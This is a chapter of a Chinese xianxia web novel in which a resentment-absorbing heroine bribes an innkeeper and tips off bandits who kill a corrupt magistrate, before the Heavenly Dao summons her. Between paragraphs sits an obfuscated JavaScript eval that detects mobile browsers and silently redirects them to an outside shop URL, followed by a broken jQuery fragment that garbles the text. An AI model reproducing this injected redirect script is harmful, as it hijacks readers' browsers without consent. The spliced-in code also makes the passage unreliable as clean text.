一说到县令,店小二的神情就变得有些微妙,动了几下嘴唇,一脸的为难之色。
花满月心领神会,从腰带夹层里摸出了两贯铜钱,笑着塞进了店小二的手中,说道:“小兄弟莫忧,我家与那亲戚许久不曾相见了,又不得通信,只记得一个姓氏,和他家颇有些家底。我初来此地,对这城中的情况一概不知,寻人只怕如那大海捞针,只能同你打听打听,以免白费功夫,还被人骗了去!”
她一面说,还一面观察着店小二的神色动作,藏在袖中的左手,已捏了一块小小的银子。
店小二飞快地掂量了一下手中的铜钱,手指搓了一下,心中有了数,脸上一瞬就跟着笑开了。
这一下,花满月心中也大概有数了,自己差点就被那些江湖小说误导了,那些人动不动出手就是二两银子五两银子的,一整个财大气粗,带着所有人一起银钱膨胀。
还好她抠门,走在街上和进客栈要房间的时候,都观察了一下物价,发现这儿最贵的房间也不过一两银子,大多数交易都是几文几文的。
根据所见到的情况,花满月估算了一下,两贯铜钱,对于普通人家而言,已是非常难得的收入了,估计能够让他们一家子吃喝半年起。
故而,她方才打赏的时候,先留了一手,给出去的都是铜钱,免得做出不符合现下外表的事情,被见多了来往人群,眼力见一顶一的掌柜和店小二发现端倪。
店小二手脚伶俐地将铜钱收起来,双手取下肩上的毛巾擦了擦,又搭回肩上,笑容分外灿烂地说道:“大娘莫忧,这十方城说大不大,说小不小,但外人初到此地,确实该仔细打听才行。我在十方城中,虽说不上万事通,但街头巷尾大事小事都有个大概了解,大娘您问我可就问对了。”
花满月笑着点点头,等着店小二接着说下去。
店小二没有辜负她的表情和那两贯铜钱,当即就同花满月说道:“大娘来得正巧了,上头的调令刚下来,这十方城的新县令刘大人前几日才到,原先的县令方大人正准备启程离开呢。”
还不等花满月出声,店小二就左右看了一圈,弯下腰来,压低了声音,颇有些神神秘秘地说道:“不是我瞎说,这方大人若真是您的亲戚,您也千万莫要去攀这门亲为好。”
花满月挑了一下眉,顺着店小二的话问了下去。
许是铜钱的力量,又许是许久没有人同他打听这些八卦,总之店小二如数家珍一般,将这位方大人的事迹抖搂了个干净。
花满月听完,只连连摇头,面上作出深恶痛绝的神情,心下却是想到:果真是山高皇帝远,小县贪官近,这位方大人不就是现成的例子么?看这捞钱捞的,还真是有够狠的,就差给空气收税了。
难怪一说到这位方大人卸任,店小二眼里的雀跃藏都藏不住了,真是发自内心的求爷爷告奶奶送走的。
就是目前还不知道,那位新来接任的刘大人,又是个什么情况什么品行。万一刚送走一只硕鼠,又迎来一只饥肠辘辘的呢?
花满月想了想,换成是她的话,估计就会觉得这日子没盼头了,不想活了。
但若是真来了一位绝世高官,这里的日子改善了,估计负面情绪也会少很多了,她应当也不会在这里待太久。
等搞清楚那团冲天黑气的来源,并且将其吸收干净后,花满月估计就可以启程离开此处了。
想到这里,花满月眼珠子转了几下,又给了一贯铜钱做赏钱,假笑着将店小二打发了出去。
店小二掂了掂新得的铜钱,顿时眉开眼笑,几乎笑得见牙不见眼,连连应声后,轻手轻脚地退出了房间,还仔细地替她关上了房门。
花满月将方才听来的八卦整理了一下,觉得那团黑气最大来源可能是孙府,其次是方县令。
当然,杨家也不能忽视,毕竟一般这种低调的人家,不是闷声干大事,就是闷声搞大事,她还是得找时间去看看情况。
给自己做好了规划,花满月就开始了自己的街溜子生活,每日睡醒了,就出门满城溜达,边溜达边吸收各处的负面情绪,顺带观察情况。
这日子过得别提多惬意了,难怪游手好闲的那些人,说什么都干不了稳定营生呢,这天天瞎溜达的日子可太舒服了。
花满月在城中溜达来溜达去,为了不引人注目,索性赁了一个偏僻的小院子住下来,方便她每日的溜达大业。
那位方大人在花满月到城中半月时,就带着沉甸甸的行李离开了。不过他没能顺利到达下一个目的地,出城才三日,就横死在野外了。
听闻还是被埋伏许久的绿林好汉们劫杀的,多年收敛的钱财一夜之间散了个干净,连个裹尸布都没给他剩下。
消息传回来的时候,花满月也正好吸收完那位方大人的怨气回来,看到满城百姓压抑不住喜悦,在街上交头接耳议论这件事,莫名其妙就觉得自己高尚起来了,背着手慢悠悠回了自己小院。
虽然人不是她杀的,为了不沾上凡人的因果,动手都没有她参与的份。她只是将这位方大人携带了多少钱财,出发的时间和路线,以一个机缘巧合的方式,透漏给了那群绿林好汉而已,动不动手那都是他们的事情。
虽然最后,这些人也没有辜负她的期望,下起手了那叫一个快准狠,还知道斩草除根,连往来痕迹都清理干净了。
花满月既干了好事,又得了大量的怨气,更是发觉这才是真正适合她的修炼方式。
不劳而获,甚好甚好。
虽然很可惜,十方城暂时没有第二个方大人了,新上任的刘大人实在勤政爱民,治下有方。
在他的治理之下,城中的各种负面情绪一下稀薄了许多。
花满月眼见着没有零碎的负面情绪可以吸收,之前见过的大团黑气也不见踪影,正琢磨着要离开此处的时候,天道倒是先一步急眼了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742312|203120||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
本来花满月与往常一般,在床榻上躺得好好的,正琢磨着未来的计划,忽然一阵天旋地转,困意急速上涌。
不过两个呼吸,铺天盖地的困意就将花满月淹没,让她头一歪,就失去了意识。
等花满月回过神的时候,发现自己已经身处在一片纯白的虚空之中,上下左右皆是一片白,没有半点东西。
见状,花满月也没有太意外,十分淡定地就地坐了下来,对着前方喊了一声,“现身吧——”
后半句没能喊出来,一道声音就从四面八方,以真正的立体环绕音的方式,向花满月传了过来。
【你此番行事,意欲何为?】
把人拉来这里,上来就是开门见山的质问?祂这样的,就绝对不是当领导的料,连领导的司机都不行。
花满月对着前方扯了扯嘴角,皮笑肉不笑的,装模作样地说道:“天道大人您在说什么呢?我怎么听不太明白?恕我愚钝,还请给卑职一个明示。”
天道沉默了一下,说道:【此时正该是你这个身份频繁出现的时候,你藏身在此,莫不是忘了自己的任务?】
“哪儿能啊,只是我不做魔修好多年,前些时候用的傀儡又束手束脚,难免不太熟悉魔修这个身份要做的事情,需要一点时间过渡熟悉嘛。”花满月呵呵一笑,虽然动作没有半点改变,但是语气听着还是像模像样的,“一般修士不好招惹,万一遇上硬茬我没打过,岂不是功亏一篑了?”
花满月说完,刻意停顿了一下,没听见天道再说话,便又笑吟吟地接着说道:“再说了,剧情不剧情的,有那么重要吗?说白了,找机会挨一刀,让您真正的天命之子能够早日顿悟,才是真正重要的事情吧?”
她这话一出,天道这次沉默的时间更久了,久到花满月都有些无聊了,才再度出声。
【你…是何时知晓的?】
花满月微微一笑,痛快地坦白道:“猜的,没什么证据,就是直觉而已。”
毕竟天道做得确实很仔细了,单看剧情大纲,这女主的整个人生路线,就是标准的一路金手指的凤傲天成长线,妥妥的主角剧本无疑。
不过,花满月很早之前就觉得有些奇怪了,既然女主才是真正的凤傲天,那封尘这个做师父的存在,是不是有些太抢眼了?
虽然没有亲眼目睹过两人的天赋差距,但花满月单单拿整个大纲里女主的修炼时间线,和封尘的修炼生涯对比,就明显发现,女主的悟性和天赋,好像明显不如封尘。
这就太奇怪了,按照正常小说大纲,这女主应该是前无古人一骑绝尘的变态天赋才对,就连飞升,也得是她第一个飞升。
哪有做师父的,在人家修行的半道就飞升了的?
想到这里,花满月笑了一下,幽幽说道:“都说到这个份上了,就没必要再骗我了吧?都是拿钱办事的,你不说明白点,我怎么给你办事呢?”